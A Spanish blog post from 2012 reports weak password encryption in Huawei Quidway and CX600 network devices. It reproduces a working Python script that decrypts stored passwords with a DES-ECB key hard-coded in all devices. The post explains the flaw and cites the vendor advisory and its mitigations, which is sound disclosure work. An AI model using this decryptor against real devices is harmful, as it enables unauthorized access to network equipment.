Buscar este blog

sábado, 17 de noviembre de 2012

Los productos Huawei con contraseñas debilmente cifrados

 
La empresa china Huawei se dedica a equipos destinados a la gestión de redes y telecomunicaciones, y también ahora en el mundo de los smartphones y tablets. Se ha hecho público que el cifrado de las contraseñas de sus productos son débiles.


Maneras de almacenar contraseñas:
  • Contraseña hash, cuando validamos al usuario le aplicamos la misma función hash que se usó durante el almacenamiento. Si la cadena resultante es igual a la introducida, queda validado. Este sistema no guarda la contraseña en claro en ningún momento.
  • Para generar los hashes se puede usar sal, una entrada sería la clave y otra la sal (bits aleatorios). Con esto puedes protegerte de ataques por diccionario.
Roberto Paleari e Ivan Speziale son los descubridores del problema, y explican que los dispositivos usan un cifrado simétrico (algoritmo DES) con una misma clave de cifrado compartida entre todos los dispositivos ('\x01\x02\x03\x04\x05\x06\x07\x08'). No es una vulnerabilidad sino un fallo de diseño del fabricante por que usan contraseñas comunes y no son aleatorias.

El código en Python para la extracción de las contraseñas se llama decrypt_password y es el siguiente:
from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)

    r = r[:16]

    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)

    return r.rstrip("\x00")

El algoritmo de cifrado usado es DES con ECB (Electronic codebook), que es el método más simple al usar el algoritmo DES.
  • En primer lugar el algoritmo transforma los caracteres ascii de la contraseña cifrada a binario (función ascii_to_binary), y posteriormente se queda con los 16 primeros bytes, eliminando el resto.
  • A continuación aplica el descifrado del algoritmo DES en modo ECB con la clave \x01\x02\x03\x04\x05\x06\x07\x08 y elimina los caracteres NUL del final de la contraseña.
  • El error ha sido confirmado en los productos de la familia Quidway y en los CX600 (routers y switches), aunque puede existir en más productos afectados.
El fabricante con todo esto ha publicado que se limiten el acceso a los routers, gestionar estrictamente los pribilegios de las cuentas y cambiar las contraseñas frecuentemente.
El fabricante ha asignado la referencia Huawei-SA-20120827-01-CX600 al fallo.

No hay comentarios:

Publicar un comentario